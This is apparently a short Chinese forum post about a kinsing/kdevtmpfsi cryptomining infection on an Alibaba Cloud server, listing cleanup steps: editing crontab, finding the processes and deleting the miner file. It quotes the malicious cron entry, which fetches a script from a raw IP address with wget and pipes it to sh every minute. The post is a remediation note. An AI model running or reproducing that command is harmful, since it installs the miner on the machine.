阿里的服务器出现的挖矿病毒,希望阿里能解决类似的问题。

    问题发现:

    image.png

    解决:
    **
    root用户下

    1、删除定时任务

    crontab -e

    1. * * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1

    2、删除守护进程

    1. ps -aux | grep kinsing
    2. ps -aux | grep kdevtmpfsi

    3、删除文件

    1. rm -rf /tmp/kdevtmpfsi